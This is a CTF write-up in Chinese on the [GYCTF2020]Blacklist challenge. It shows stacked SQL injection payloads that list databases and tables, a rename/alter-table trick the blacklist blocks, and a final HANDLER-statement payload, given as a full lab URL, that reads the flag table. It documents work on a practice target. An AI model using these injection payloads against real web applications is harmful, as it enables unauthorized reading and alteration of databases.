这道题其实不是堆叠注入,但是我在联合查询无效后,试了一下堆叠,最后一步发现被过滤的sql语句太多了,完全没法
查阅其他wp的过程[GYCTF2020]Blacklist 1(详细做题过程)
是用的handler语句,只能用于MySQL中,是类似于select的语句,详细内容我记录在我的wp中
先输入一些常规数字或者字母字符
返回值:
- 数字:1
php
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
- 数字:2
php
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
其他字符均没有返回值
尝试常见的sql语句,发现返回如下内容,查询后发现是提示这些sql语句都被过滤掉了
在博客https://blog.csdn.net/weixin_45551083/article/details/105389126 中提到了"堆叠注入"
堆叠注入是用 ; 分隔开的多行sql语句
sql
?inject=2';show databases;#
得到以下内容
、
继续 show tables
找到一个"FlagHere"表
查找"FlagHere"下面的所有列元素:看到一个字符串flag 后面还有一个varchar(100)
应该是要想办法打印出来
到这里思路确实会卡住
再次看堆叠注入的特点,sql语句是各自执行的
查找"words"下面的所有列元素:
会发现刚好是 一个int和一个varchar(20)
对应一开始我们输入数字1或者2的"一个数字+一个字符串"的格式
再下一步的思路是既然默认查询到的是显示"word"这张表
那么,就把word表名替换到FlagHere,同时列名也同步替换
这样FlagHere里的内容不就默认打印出来了
依次将words表改名为noWords
FlagHere改名为words
然后将此时的words表中的列名flag改为id,与原来的words表中列名第一个为id第二个为No一一对应
sql
?inject=2';
rename table `words` to `noWords`;
rename table `FlagHere` to `words`;
alter table `words` change `flag` `id` varchar(100);#
提交发现alter也被过滤了,服了
直接查这道题的wp,开头的链接[GYCTF2020]Blacklist 1(详细做题过程)
又是新东西
Handler语法
handler语句,一行一行的浏览一个表中的数据
handler语句并不具备select语句的所有功能。
mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
sql
> 1、HANDLER tbl_name OPEN
打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
2、HANDLER tbl_name READ FIRST
获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
sql
> 3、HANDLER tbl_name CLOSE
关闭打开的句柄。
sql
> 4、HANDLER tbl_name READ index_name = value
通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。
直接用handler语法打印之前查到的FlagHere表,输出内容就行
http://6e7bc099-1e40-424e-9cc5-235785f06b8b.node5.buuoj.cn:81/?inject=2';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#